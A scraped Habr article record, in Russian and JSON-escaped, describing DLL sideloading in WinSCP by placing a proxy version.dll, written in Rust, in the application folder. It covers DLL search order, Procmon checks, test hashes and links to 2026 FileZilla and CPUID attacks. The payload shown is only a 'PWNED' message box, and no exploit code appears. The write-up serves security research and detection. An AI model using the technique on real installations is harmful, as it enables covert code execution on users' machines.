srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/b8\/b4\/e5\/b8b4e56123923c87247500ea6a216c4b.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/b8\/b4\/e5\/b8b4e56123923c87247500ea6a216c4b.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>MessageBoxW \u00abPWNED by version.dll!\u00bb<\/figcaption><\/div>\n<\/figure>\n<ol start=\"4\">\n<li>\n<p>\u0412 Procmon \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e Load Image: version.dll \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u0438\u0437 SysWOW64.<\/p>\n<\/li>\n<\/ol>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/3e\/66\/12\/3e6612a7a857ace389f787043763da7d.png\" alt=\"Procmon: Load Image version.dll \u0438\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/3e\/66\/12\/3e6612a7a857ace389f787043763da7d.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/3e\/66\/12\/3e6612a7a857ace389f787043763da7d.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>Procmon: Load Image version.dll \u0438\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f<\/figcaption><\/div>\n<\/figure>\n<h2>5. \u0412\u044b\u0432\u043e\u0434\u044b<\/h2>\n<p>\u041d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 DLL Sideloading \u0447\u0435\u0440\u0435\u0437 version.dll \u0432 WinSCP \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f: \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0449\u0435\u0442 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u0432 \u043f\u0430\u043f\u043a\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0438 \u0432 Procmon \u044d\u0442\u043e \u0432\u0438\u0434\u043d\u043e \u043a\u0430\u043a <code>NAME NOT FOUND<\/code> \u0432 appdir. \u041f\u0440\u043e\u043a\u0441\u0438 \u043d\u0430 Rust \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0432\u0441\u0435 17 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 payload \u0441\u0440\u0430\u0437\u0443 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435, \u043d\u0435 \u043c\u0435\u0448\u0430\u044f \u043e\u0431\u044b\u0447\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b.<\/p>\n<p>\u042d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u043c\u0435\u0441\u0442\u043e. WinSCP \u0434\u0435\u043b\u0430\u0435\u0442 \u0432\u0441\u0451 \u0442\u0430\u043a, \u043a\u0430\u043a \u0438 \u0434\u043e\u043b\u0436\u0435\u043d, \u043d\u043e \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u043f\u043e\u0438\u0441\u043a\u0430 DLL \u0438\u0433\u0440\u0430\u0435\u0442 \u043f\u0440\u043e\u0442\u0438\u0432 \u043d\u0435\u0433\u043e. \u0422\u0430\u043a\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043b\u0435\u0433\u043a\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c, \u043e\u043d \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u0438 \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u043d\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043d\u0438 \u043a\u0430\u043a\u0438\u0445-\u0442\u043e \u0440\u0435\u0434\u043a\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439. \u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043e\u0434\u0438\u043d \u0440\u0430\u0437 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c version.dll \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.<\/p>\n<h3>\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438<\/h3>\n<ol>\n<li>\n<p><a href=\"https:\/\/www.malwarebytes.com\/blog\/threat-intel\/2026\/03\/a-fake-filezilla-site-hosts-a-malicious-download\" rel=\"noopener noreferrer nofollow\">Malwarebytes Threat Intelligence, \u00abA fake FileZilla site hosts a malicious download\u00bb, 2026-03-02<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/intel.breakglass.tech\/post\/cpuid-supply-chain-cryptbase-filezilla-c2-infrastructure\" rel=\"noopener noreferrer nofollow\">Breakglass Intelligence, \u00abCPUID.com Supply Chain Compromise: CRYPTBASE.dll Sideloading, FileZilla C2 Attribution\u00bb, 2026-04-10<\/a><\/p>\n<\/li>\n<\/ol>\n<\/div>\n<p>\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/1067126\/\">https:\/\/habr.com\/ru\/articles\/1067126\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435: \u042d\u0442\u043e\u0442 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u0441\u043e\u0437\u0434\u0430\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0443\u0447\u0435\u0431\u044b \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439. \u041e\u043d \u043d\u0443\u0436\u0435\u043d \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c, \u043a\u0430\u043a \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 Microsoft Windows \u0438 \u043a\u0430\u043a\u0438\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u0432 \u043d\u0435\u0439 \u0435\u0441\u0442\u044c. \u0422\u0435\u043a\u0441\u0442 \u043d\u0435 \u043f\u043e\u0431\u0443\u0436\u0434\u0430\u0435\u0442 \u043a \u043d\u0435\u0437\u0430\u043a\u043e\u043d\u043d\u044b\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\u043c. \u0410\u0432\u0442\u043e\u0440 \u043d\u0435 \u043d\u0435\u0441\u0435\u0442 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 \u0432\u0440\u0435\u0434, \u0435\u0441\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u043d\u0435\u043f\u0440\u0430\u0432\u043e\u043c\u0435\u0440\u043d\u043e \u0438\u043b\u0438 \u0441 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u043a\u043e\u043d\u0430.WinSCP \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 version.dll \u0438\u0437 \u0441\u0432\u043e\u0435\u0439 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0438, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e Windows \u0438\u0449\u0435\u0442 DLL \u043f\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u0440\u044f\u0434\u043a\u0443. \u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043f\u043e\u043a\u0430\u0436\u0443\u0442, \u043a\u0430\u043a \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c \u0442\u0430\u043a\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438: \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0447\u0435\u0440\u0435\u0437 \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u0438\u043c\u043f\u043e\u0440\u0442\u0430, \u043f\u043e\u0442\u043e\u043c \u043f\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c DLL, \u043e\u0442 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u0437\u0430\u0442\u0435\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Procmon, \u0447\u0442\u043e\u0431\u044b \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u043d\u043e\u0439 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438. \u0422\u0430\u043a\u043e\u0439 \u0436\u0435 \u043f\u0440\u0438\u0435\u043c \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0438 \u043f\u0440\u0438 \u0430\u0442\u0430\u043a\u0435 \u043d\u0430 Filezilla, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u0435\u0437\u0435\u043d \u0442\u0435\u043c, \u043a\u0442\u043e \u0438\u0437\u0443\u0447\u0430\u0435\u0442 \u043f\u043e\u0434\u043c\u0435\u043d\u0443 DLL \u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u0445.1. \u0412\u0432\u0435\u0434\u0435\u043d\u0438\u04351.1. \u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 DLL Sideloading\u0421\u0443\u0442\u044c \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0432 \u0442\u043e\u043c, \u043a\u0430\u043a Windows \u043d\u0430\u0445\u043e\u0434\u0438\u0442 DLL. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043f\u043a\u0443, \u0433\u0434\u0435 \u043b\u0435\u0436\u0438\u0442 \u0441\u0430\u043c\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 (AppDir), \u0437\u0430\u0442\u0435\u043c \u0438\u0434\u0451\u0442 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 (System32\/SysWOW64), \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043a PATH. \u041f\u0440\u0438 DLL Sideloading \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u043f\u043e\u043c\u0435\u0449\u0430\u044e\u0442 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0440\u044f\u0434\u043e\u043c \u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043e\u0439 \u0438 \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0442\u0430\u043a \u0436\u0435, \u043a\u0430\u043a \u043d\u0443\u0436\u043d\u0443\u044e DLL. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043d\u0430\u0445\u043e\u0434\u0438\u0442 \u0435\u0451 \u043f\u0435\u0440\u0432\u043e\u0439 \u0438 \u043f\u043e\u0434\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0432\u043c\u0435\u0441\u0442\u043e \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439. \u0415\u0441\u0442\u044c \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 &#8212; Known DLLs: \u0434\u043b\u044f \u043d\u0438\u0445 Windows \u0441\u0440\u0430\u0437\u0443 \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 AppDir.\u0412\u0430\u0436\u043d\u043e \u043d\u0435 \u043f\u0443\u0442\u0430\u0442\u044c AppDir &#8212; \u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0430\u043f\u043a\u0443 \u0441 .exe, &#8212; \u0441 \u0442\u0435\u043a\u0443\u0449\u0438\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c (CurrentDir), \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u044b\u043b \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u043f\u0440\u043e\u0446\u0435\u0441\u0441. \u0420\u0430\u043d\u044c\u0448\u0435 \u0430\u0442\u0430\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 CurrentDir \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0438\u0441\u044c \u043e\u0447\u0435\u043d\u044c \u0447\u0430\u0441\u0442\u043e. \u0414\u043e Windows XP SP2 \u0441\u0445\u0435\u043c\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430 \u0442\u0430\u043a: \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0438\u0437 \u043f\u0430\u043f\u043a\u0438, \u0433\u0434\u0435 \u043b\u0435\u0436\u0430\u043b\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f DLL, \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043c\u043e\u0433\u043b\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0438\u043c\u0435\u043d\u043d\u043e \u0435\u0451. \u041f\u043e\u0437\u0436\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f SafeDllSearchMode, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0432\u043a\u043b\u044e\u0447\u0451\u043d \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 XP SP2. \u041e\u043d \u043f\u0435\u0440\u0435\u043d\u0451\u0441 CurrentDir \u0432 \u043a\u043e\u043d\u0435\u0446 \u0441\u043f\u0438\u0441\u043a\u0430 \u043f\u043e\u0438\u0441\u043a\u0430, \u043f\u043e\u0441\u043b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u043f\u0430\u043f\u043e\u043a. \u041d\u043e \u043e\u0442 Sideloading \u0440\u044f\u0434\u043e\u043c \u0441 \u0441\u0430\u043c\u0438\u043c .exe \u044d\u0442\u043e \u043d\u0435 \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u0442: AppDir \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c \u043f\u0440\u0438 \u043b\u044e\u0431\u043e\u043c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u0435. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435 DLL \u0440\u044f\u0434\u043e\u043c \u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0440\u0430\u0431\u043e\u0447\u0438\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u0430\u0442\u0430\u043a\u0438.\u0420\u0435\u0436\u0438\u043c\u041f\u043e\u0440\u044f\u0434\u043e\u043a \u043f\u043e\u0438\u0441\u043a\u0430 DLL\u0411\u0435\u0437 SafeDllSearchMode (legacy, \u0434\u043e Windows XP SP2)1. AppDir \u2192 2. CurrentDir \u2192 3. System32 \u2192 4. 16-bit System \u2192 5. Windows \u2192 6. PATH\u0421 SafeDllSearchMode (\u0432\u043a\u043b\u044e\u0447\u0451\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0441 XP SP2)1. AppDir \u2192 2. System32 \u2192 3. 16-bit System \u2192 4. Windows \u2192 5. CurrentDir \u2192 6. PATH1.2. \u0410\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u0412 \u043c\u0430\u0440\u0442\u0435 2026 \u0433\u043e\u0434\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0433\u0434\u0435 \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c FileZilla \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u043b\u0438 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0431\u043e\u0440\u043a\u0443 \u0447\u0435\u0440\u0435\u0437 \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0439 \u0434\u043e\u043c\u0435\u043d filezilla-project.live. \u0414\u043b\u044f DLL sideloading \u0432 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 version.dll [1, 2]. \u0410 \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0442\u0435 \u0436\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a CPUID (CPU-Z\/HWMonitor) \u0438 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0438 cryptbase.dll [2].1.3. \u0421\u0440\u0435\u0434\u0430 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f\u041a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u041e\u0421Windows 11 Pro 25H2 (build 26200.8875)Rust toolchainrustc 1.97.1 \/ cargo 1.97.1 (stable, 2026-07-14)\u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0441\u0431\u043e\u0440\u043a\u0438i686-pc-windows-msvc (32-bit \u0434\u043b\u044f WinSCP x86)WinSCP.exe (Portable 6.5.6)CF948EAF8429C582636953E8B6B82097C8BB0A55111EC57E5F890E27DBAB70D9 (SHA-256)SysWOW64\\version.dll (x86)4F66B88731E84BE8E1545EEFC589A79E701CCA426CE916E4AC9322E60EA9680B (SHA-256)System32\\version.dll (x64)CEA99F212AF557A9613150C5509631403ED0F05F5D9A06AC42039BD59B40E39A (SHA-256)PoC version_dll_poc.dll (x86)5820504854E4B1FD077C1B909CCAF363B23C3DDB9818FB17CA8E150B335DC4E0 (SHA-256)2. \u041c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u0420\u0430\u0431\u043e\u0442\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043b\u0430 \u0438\u0437 \u0434\u0432\u0443\u0445 \u044d\u0442\u0430\u043f\u043e\u0432. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437, \u0447\u0442\u043e\u0431\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 WinSCP.exe \u0438 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0442\u0435 DLL, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0433\u0440\u0443\u0436\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0435\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Procmon \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438 \u0437\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c, \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043a \u043f\u0430\u043f\u043a\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0445\u043e\u0442\u044f \u0431\u044b \u0437\u0430 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a.2.1. \u0421\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437: Import Table\u041e\u0442\u043f\u0440\u0430\u0432\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0441\u0442\u0430\u043b\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u0432 WinSCP.exe &#8212; \u044d\u0442\u043e \u043f\u0435\u0440\u0435\u0447\u0435\u043d\u044c DLL \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435. \u0422\u0430\u043a\u043e\u0439 \u0438\u043c\u043f\u043e\u0440\u0442 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432\u0430\u0436\u0435\u043d: \u0435\u0441\u043b\u0438 DLL \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e, \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0431\u0443\u0434\u0435\u0442 \u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0435\u0451 \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437 \u043f\u0440\u0438 \u0441\u0442\u0430\u0440\u0442\u0435, \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0434\u0430\u043b\u044c\u0448\u0435. \u0417\u043d\u0430\u0447\u0438\u0442, \u0438\u043c\u0435\u043d\u043d\u043e \u0437\u0434\u0435\u0441\u044c \u0441\u0442\u043e\u0438\u0442 \u0438\u0441\u043a\u0430\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440.\u0427\u0442\u043e\u0431\u044b \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 PE-Bear \u0438 Python-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 lief. \u041e\u043d\u0430 \u0443\u043c\u0435\u0435\u0442 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c PE-\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c \u0438 \u0432\u044b\u0442\u0430\u0441\u043a\u0438\u0432\u0430\u0442\u044c \u0432\u0441\u0435 \u0438\u043c\u043f\u043e\u0440\u0442\u044b \u0431\u0435\u0437 \u0440\u0443\u0447\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u0444\u0430\u0439\u043b\u0430.Import Table WinSCP.exe \u0432 PE-Bear\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0432\u044b\u0448\u0435\u043b \u043f\u043e\u043b\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0447\u0435\u043d\u044c \u0438\u0437 32 \u0438\u043c\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 DLL \u0441 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0435\u043c \u0438\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439. \u0412 \u044d\u0442\u043e\u043c \u0441\u043f\u0438\u0441\u043a\u0435 \u0435\u0441\u0442\u044c \u0438 VERSION.dll &#8212; \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0430\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0438 WinSCP \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043a \u043d\u0435\u0439 \u0442\u043e\u043b\u044c\u043a\u043e 